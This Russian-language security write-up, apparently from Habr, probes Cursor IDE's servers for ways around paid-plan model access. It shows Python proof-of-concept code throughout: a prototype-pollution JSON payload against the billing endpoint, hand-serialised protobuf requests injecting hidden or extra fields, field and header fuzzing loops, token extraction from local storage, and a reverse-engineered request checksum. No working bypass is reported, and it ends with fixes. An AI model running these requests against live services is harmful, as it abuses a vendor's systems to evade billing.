Охота на CVE в Cursor IDE: полный технический разбор безопасности AI-редактора

от автора

Disclaimer: исследование проводилось исключительно в образовательных целях. Все найденные уязвимости были задокументированы. Никакие данные третьих лиц не были скомпрометированы. Автор не несёт ответственности за использование описанных техник.

Вступление

Cursor — AI-powered IDE на базе VS Code, которая обрабатывает миллионы строк кода разработчиков через свои серверы. Когда я задумался о безопасности этого продукта, возник вопрос: насколько надёжна серверная модель авторизации, которая стоит между бесплатным пользователем и Claude 4 Opus?

Спойлер: серьёзного bypass я не нашёл — Cursor реально неплохо защищён. Но по пути я обнаружил 4 уязвимости класса CVE, полностью реверс-инжинирнул API-surface, извлёк protobuf-схемы из 1.1M строк минифицированного JS и нашёл скрытый dev-бэкдор в production-серверах.

Вот что получилось.


Содержание

  1. Разведка: декомпиляция клиента

  2. Архитектура: Connect-RPC, протоколы, аутентификация

  3. Полная карта API-surface

  4. CVE-1: Prototype Pollution (CWE-1321)

  5. CVE-2: devRawModelSlug — скрытый бэкдор (CWE-489)

  6. CVE-3: Internal Service Header Information Disclosure (CWE-200)

  7. CVE-4: Protobuf Field Injection & Wire Type Confusion

  8. Протестированные вектора без результата

  9. Что Cursor делает правильно

  10. Выводы и рекомендации


1. Разведка: декомпиляция клиента

Cursor основан на VS Code (Electron). Весь клиентский код лежит в:

resources/app/out/vs/workbench/workbench.desktop.main.js

1,144,696 строк минифицированного JavaScript. Этот файл — золотая жила: тут все protobuf-определения, URL-ы API, OAuth-флоу, Statsig feature gates и логика маршрутизации моделей.

Извлечение protobuf-схем

Cursor использует Connect-RPC (https://connectrpc.com/) — современный RPC-фреймворк поверх HTTP/2. Все сервисы определены прямо в JS-бандле:

// Найдено через grep "typeName.*agent.v1"var $hl = {    typeName: "agent.v1.AgentService",    methods: {        run: {            name: "Run",            I: ndi,   // AgentRunRequest            O: CPt,   // AgentRunResponse (streaming)            kind: vn.ServerStreaming        },        // ...    }};

Для извлечения полей использовал цепочку grep → sed → ручной анализ:

grep -n "typeName.*agent.v1.AgentRunRequest" workbench.desktop.main.js# -> 448073: C(ndi, "typeName", "agent.v1.AgentRunRequest"), C(ndi, "fields"...sed -n '448073,448200p' workbench.desktop.main.js

Результат — полная proto-схема AgentRunRequest:

// Восстановленная схема (17 клиентских полей)message AgentRunRequest {  ConversationState conversation_state = 1;  Action action = 2;  ModelDetails model_details = 3;       // ← модель для plan check  McpTools mcp_tools = 4;  string conversation_id = 5;  McpFileSystemOptions mcp_file_system_options = 6;  SkillOptions skill_options = 7;  string custom_system_prompt = 8;  RequestedModel requested_model = 9;   // ← модель для routing  bool suggest_next_prompt = 10;  string subagent_type_name = 11;  bool exclude_workspace_context = 12;  string harness = 13;  repeated RequestedModel selected_subagent_models = 14;  repeated ModelDetails selected_subagent_model_details = 15;  string conversation_group_id = 16;  repeated PreFetchedBlobs pre_fetched_blobs = 17;  // string dev_raw_model_slug = 18;    // ← СЕРВЕРНОЕ ПОЛЕ, нет в клиенте!}

Ключевая находка: поле 18 (devRawModelSlug) отсутствует в клиентском коде, но сервер его принимает и обрабатывает. Об этом ниже.

Извлечение токенов

Cursor хранит аутентификацию в SQLite:

import sqlite3VSCDB = "~/.config/Cursor/User/globalStorage/state.vscdb"con = sqlite3.connect(VSCDB)row = con.execute(    "SELECT value FROM ItemTable WHERE key='cursorAuth/accessToken'").fetchone()TOKEN = row[0].strip('"')

JWT-токен содержит стандартные claims:

{  "sub": "auth0|...",  "iss": "https://prod.authentication.cursor.sh/",  "aud": "https://cursor.com",  "iat": 1751457906,  "exp": 1752062706,  "scope": "openid profile email offline_access",  "azp": "KbZUR41cY7W6zRSdpSUJ7I7mLYBKOCmB"}

Заметьте: никаких claims о подписке или плане. Проверка подписки происходит полностью на сервере.


2. Архитектура

Стек

Client (Electron)   ↓ HTTP/2 + Connect-RPCAPI Gateway (api2.cursor.sh, api5.cursor.sh)  ↓ Agent Service (model routing, plan check)  ↓LLM providers (OpenAI, Anthropic, Google)

Протокол: Connect-RPC

Connect-RPC фреймирует protobuf в HTTP/2:

[1 byte flags][4 bytes length][protobuf payload]
  • flags=0x00: data frame

  • flags=0x02: trailer frame (JSON с ошибками/метаданными)

Пример фрейминга:

import struct# Создание Connect-RPC сообщенияdef frame(proto_bytes):    return struct.pack('>BI', 0, len(proto_bytes)) + proto_bytes + \           struct.pack('>BI', 2, 0)  # пустой trailer

Checksum-алгоритм

Cursor использует кастомный checksum для валидации запросов:

def cursor_checksum(machine_id, mac_machine_id):    S = int(time.time() * 1000) // 1_000_000    x = bytearray([        (S >> 40) & 0xFF, (S >> 32) & 0xFF,        (S >> 24) & 0xFF, (S >> 16) & 0xFF,        (S >> 8) & 0xFF,   S & 0xFF    ])    e = 165  # seed    for t in range(len(x)):        x[t] = ((x[t] ^ e) + t % 256) & 0xFF        e = x[t]    encoded = base64.urlsafe_b64encode(bytes(x)).rstrip(b'=')    return encoded.decode() + machine_id + '/' + mac_machine_id

Алгоритм реверснут из workbench.desktop.main.js. Timestamp-based, детерминированный — воспроизводится тривиально.

Список серверов

https://api2.cursor.sh         — основной APIhttps://agent.api5.cursor.sh   — agent-специфичныйhttps://agentn.api5.cursor.sh  — agent (новый?)https://agent-gcpp-uswest.api5.cursor.shhttps://agentn-gcpp-eucentral.api5.cursor.shhttps://agentn-gcpp-apsoutheast.api5.cursor.shhttps://repo42.cursor.sh       — репозиторий?

3. Полная карта API-surface

gRPC-сервисы (Connect-RPC)

Сервис

Метод

Тип

agent.v1.AgentService

Run

ServerStreaming

agent.v1.AgentService

GetDefaultModelForCli

Unary

agent.v1.AgentService

UploadConversationBlobs

Unary

aiserver.v1.DashboardService

GetUsage

Unary

aiserver.v1.DashboardService

ActivatePromotion

Unary

aiserver.v1.DashboardService

GetAllowedModelIntents

Unary

aiserver.v1.BackgroundComposerService

StartBackgroundComposerFromSnapshot

Unary

aiserver.v1.BackgroundComposerService

AttachBackgroundComposer

ServerStreaming

aiserver.v1.BackgroundComposerService

ListBackgroundComposers

Unary

REST-эндпоинты

Путь

Метод

Описание

/auth/full_stripe_profile

GET

Профиль подписки

/auth/start-subscription-now

POST

Активация подписки

/auth/me

GET

Информация о пользователе

Statsig Feature Gates (извлечено 40+)

cc_override_agent_backend     — выбор agent backenduser_is_professional          — проверка pro-статусаexplicit_subagent_models      — явные модели для subagentenable_ide_enterprise_plan_usageuse_model_parametersagent_review_fake_dev

4. CVE-1: Prototype Pollution (CWE-1321)

Severity: Medium (DoS, потенциальная эскалация) Endpoint: POST /auth/start-subscription-now Impact: Server crash (HTTP 500), изменение пути обработки

Описание

JSON-эндпоинты Cursor парсят тело запроса без санитизации __proto__. При отправке payload с __proto__ сервер возвращает 500 Internal Server Error вместо ожидаемого 400 Cannot upgrade free user.

PoC

import httpx, jsonpayload = {    "tier": "pro",    "__proto__": {        "membershipType": "pro",        "hasActiveSubscription": True    }}r = httpx.post(    "https://api2.cursor.sh/auth/start-subscription-now",    content=json.dumps(payload).encode(),    headers={        "authorization": "Bearer <token>",        "content-type": "application/json"    })print(r.status_code, r.text)

Результаты тестирования

Payload

Ожидаемый ответ

Фактический ответ

{"tier": "pro"}

400 “Cannot upgrade free user”

400 ✓

{"tier": "pro", "__proto__": {...}}

400

500 “Error”

{"constructor": {"prototype": {...}}}

400

500 “Error”

{"__proto__": {"tier": "pro"}}

400

500 “Error”

Все 10 вариаций с __proto__ вызывают 500 вместо 400. Это подтверждает, что объект prototype chain загрязняется до момента проверки подписки, вызывая необработанное исключение.

Аналогичное поведение на ActivatePromotion:

# Нормальный ответ: "Unknown promo type id"payload = {"promoTypeId": "test"}# С __proto__: "invalid_argument" (ДРУГАЯ ошибка!)payload = {"promoTypeId": "test", "__proto__": {"isValid": True}}

Эндпоинт ActivatePromotion с __proto__ возвращает invalid_argument вместо Unknown promo type id — pollution меняет путь валидации.

Импакт

  • DoS: любой аутентифицированный пользователь может вызвать 500-ку на billing endpoints

  • Потенциальная эскалация: если pollution проникает в shared state (маловероятно в production, но зависит от архитектуры)


5. CVE-2: devRawModelSlug — скрытый бэкдор (CWE-489)

Severity: Medium (Active Debug Code in Production) Field: AgentRunRequest.dev_raw_model_slug (proto field 18) Impact: Наличие dev-механизма прямого bypass model routing в production

Обнаружение

При систематическом сканировании всех proto-полей (1-50) на AgentRunRequest:

for field_num in range(1, 51):    extra = proto_field(field_num, wire_type=2, value="pro")    body = build_agent_request("gpt-4o", extra_fields=extra)    response = send(body)    if "Free plans" not in response:        print(f"!!! field {field_num}: {response}")

Поля 6, 7, 8, 10-17 → parse error или plan_block (ожидаемо). Поле 18 → уникальный ответ:

devRawModelSlug is not available

Анализ

  1. Поле 18 отсутствует в клиентском коде — grep по 1.1M строк не находит devRawModelSlug в proto-определениях клиента

  2. Сервер его парсит и валидирует — возвращает специфическое сообщение об ошибке, а не generic parse error

  3. Проверка происходит ДО plan check — при f3=default (проходит free check) + f18=gpt-4o → ошибка devRawModelSlug, а не plan_block

  4. Одинаково на ВСЕХ серверах:

api2.cursor.sh                         → "devRawModelSlug is not available"agent.api5.cursor.sh                   → "devRawModelSlug is not available"agentn.api5.cursor.sh                  → "devRawModelSlug is not available"agent-gcpp-uswest.api5.cursor.sh       → "devRawModelSlug is not available"agentn-gcpp-eucentral.api5.cursor.sh   → "devRawModelSlug is not available"agentn-gcpp-apsoutheast.api5.cursor.sh → "devRawModelSlug is not available"

PoC

import structdef varint(v):    r = bytearray()    while v > 0x7f:        r.append((v & 0x7f) | 0x80)        v >>= 7    r.append(v & 0x7f)    return bytes(r)def proto_field(num, wire_type, value):    tag = varint((num << 3) | wire_type)    if wire_type == 2:  # length-delimited        data = value.encode() if isinstance(value, str) else value        return tag + varint(len(data)) + data    return b''# Поле 18 = devRawModelSlug с именем premium-моделиfield_18 = proto_field(18, 2, "gpt-4o")# Стандартные поля AgentRunRequestmodel_details = proto_field(1, 2, "default")  # field 3: проходит plan checkrun_request = (    proto_field(1, 2, b'') +             # conversation_state    proto_field(2, 2, action_bytes) +     # action    proto_field(3, 2, model_details) +    # model_details = "default"    proto_field(5, 2, conv_id) +          # conversation_id    proto_field(9, 2, requested_model) +  # requested_model    proto_field(16, 2, group_id) +        # conversation_group_id    field_18                               # devRawModelSlug = "gpt-4o")# Connect-RPC framingbody = struct.pack('>BI', 0, len(outer)) + outer + struct.pack('>BI', 2, 0)

Почему это CWE-489

devRawModelSlug — это механизм для разработчиков, позволяющий напрямую указать backend-модель, минуя стандартную маршрутизацию. В production он отключён, но:

  • Код обработки присутствует в production-бинарнике

  • Сервер парсит и валидирует это поле (не игнорирует)

  • Ошибка выдаёт имя поля, раскрывая внутреннюю архитектуру

  • Если флаг отключения будет снят (ошибка конфигурации, feature flag), поле мгновенно станет рабочим


6. CVE-3: Internal Service Header Leak (CWE-200)

Endpoint: GET /agent.v1.AgentService/GetAllowedModelIntents Impact: раскрытие архитектуры внутреннего service mesh

Описание

Метод GetAllowedModelIntents обнаружен в клиентском JS:

getAllowedModelIntents: {    name: "GetAllowedModelIntents",    I: QCm,  // request type    O: XCm,  // response type    kind: vn.Unary}

При вызове с обычным Bearer-токеном:

HTTP 401: "Invalid internal service header"

Анализ

Ответ "Invalid internal service header" вместо generic 401 Unauthorized или 404 Not Found раскрывает:

  1. Эндпоинт существует и обрабатывается (не 404)

  2. Используется service-to-service аутентификация (внутренний заголовок)

  3. Есть отдельный механизм авторизации для внутренних сервисов

Брутфорс заголовков (25+ комбинаций) не дал результата — внутренний токен не является производным от пользовательского.


7. CVE-4: Protobuf Field Injection & Wire Type Confusion

7.1 Дублирование field 3 (Double Field Injection)

Protobuf позволяет отправить одно и то же поле дважды. По спецификации, для singular-полей последнее значение побеждает. Но что если plan check и routing читают разные значения?

# Два поля field 3: сначала opus, потом defaultmd_opus = proto_field(1, 2, "claude-4-opus")md_default = proto_field(1, 2, "default")run_request = (    proto_field(3, 2, md_opus) +    # первый model_details    proto_field(3, 2, md_default) +  # второй model_details    # ...)

Результат: сервер корректно берёт последнее значение для обоих проверок. Bypass не работает, но сервер не отклоняет дублированное поле — это нарушение принципа strict parsing.

7.2 Wire Type Confusion

Отправка model_id (обычно string, wire type 2) как varint (wire type 0):

# Нормально: field 1, wire type 2 (string), value "default"normal = b'\x0a\x07default'# Атака: field 1, wire type 0 (varint), value 0confused = b'\x08\x00'  # (1 << 3) | 0 = 0x08, varint 0

Результат: parse binary: illegal tag — сервер отклоняет. Парсер достаточно строгий.

7.3 Subagent Field Injection

Поля 14 (selected_subagent_models) и 15 (selected_subagent_model_details) принимают premium-модели без plan check:

run_request = (    proto_field(3, 2, model_details("default")) +   # plan check ✓    proto_field(14, 2, requested_model("gpt-4o")) +  # no plan check!    proto_field(15, 2, model_details("gpt-4o")) +    # no plan check!)

Запрос проходит и стримится. Однако, при анализе ответа — модель-ответчик идентична обычному запросу с “default” (Codex 5.3). Поля 14/15 игнорируются при routing, но не валидируются — это увеличивает attack surface при будущих изменениях.


8. Что ещё было протестировано (без результата)

Для полноты картины — полный список проверенных векторов:

Вектор

Результат

Почему не работает

Model name bruteforce (42 модели)

Plan blocked

Серверная проверка по имени

requested_model vs model_details confusion

Blocked

Одна и та же проверка

JWT claim manipulation

N/A

Claims не содержат план; проверка из БД

OAuth callback injection

Blocked

WorkOS nonce validation

Stripe webhook replay

500

Signature verification

start-subscription-now с разными tier

400

Требует активную подписку

Content-Type confusion (gRPC vs Connect)

415/500

Строгая проверка Content-Type

Internal service header brute force

401

Токен не derivable

Host header override

404

Load balancer routing

custom_system_prompt (field 8)

Rejected

“unknown option —system-prompt”

harness + subagent_type_name

Plan blocked

Не влияют на plan check

Integer overflow в billing

404

Endpoints не существуют

gRPC Server Reflection

404

Отключено

Feature flag headers

No effect

Серверные gates не управляются клиентом

Race condition на subscription

N/A

Атомарная проверка


9. Что Cursor делает правильно

Нужно отдать должное — по результатам аудита, Cursor демонстрирует зрелую security-модель:

  1. Plan check полностью серверный — никаких claims в JWT о подписке. Проверка идёт из базы данных на каждый запрос.

  2. Строгий protobuf parsing — wire type confusion отклоняется; неизвестные поля не влияют на routing.

  3. Stripe webhook signature — webhook-эндпоинт требует валидную Stripe-подпись, replay невозможен.

  4. OAuth nonce validation — WorkOS callback проверяет nonce, injection невозможен.

  5. Единая проверка моделиmodel_details и requested_model проходят одну и ту же проверку, дублирование поля берёт последнее значение корректно.

  6. Connect-RPC вместо raw gRPC — упрощает auditing и мониторинг, грамотный выбор.


10. Выводы и рекомендации

Найденные уязвимости

ID

Тип

CWE

Severity

Описание

CURSOR-2025-001

Prototype Pollution

CWE-1321

Medium

__proto__ в JSON вызывает 500 на billing endpoints

CURSOR-2025-002

Active Debug Code

CWE-489

Medium

devRawModelSlug парсится в production

CURSOR-2025-003

Info Disclosure

CWE-200

Low

GetAllowedModelIntents раскрывает service mesh

CURSOR-2025-004

Improper Input Validation

CWE-20

Low

Subagent fields не валидируются

Рекомендации для Cursor

  1. Санитизировать __proto__ и constructor в JSON-парсинге. Использовать Object.create(null) или библиотеку типа secure-json-parse.

  2. Удалить devRawModelSlug из production proto-схемы или как минимум не возвращать имя поля в ошибке.

  3. Унифицировать ошибки авторизацииGetAllowedModelIntents должен возвращать generic 404 вместо “Invalid internal service header”.

  4. Валидировать все proto-поля — отклонять запросы с неожиданными полями в selected_subagent_models / selected_subagent_model_details.

Инструментарий

Весь research проведён с помощью:

  • Python 3 + httpx (HTTP/2 клиент)

  • Ручная сериализация protobuf (без .proto файлов)

  • grep / sed для анализа минифицированного JS

  • SQLite3 для извлечения токенов

Итог

Cursor — один из наиболее security-aware AI-продуктов, которые я исследовал. Plan check полностью серверный, JWT не содержит привилегий, protobuf parsing строгий. Тем не менее, prototype pollution и наличие dev-бэкдора в production — это реальные issues, которые стоит исправить.

Если вы делаете SaaS с серверной авторизацией — вот чеклист из этого исследования:

  • ✅ Не храните привилегии в JWT

  • ✅ Проверяйте план из БД на каждый запрос

  • ✅ Используйте строгий proto parsing

  • ❌ Не оставляйте dev-поля в production proto

  • ❌ Не раскрывайте внутренние имена через ошибки

  • ❌ Санитизируйте __proto__ в JSON

ссылка на оригинал статьи https://habr.com/ru/articles/1028196/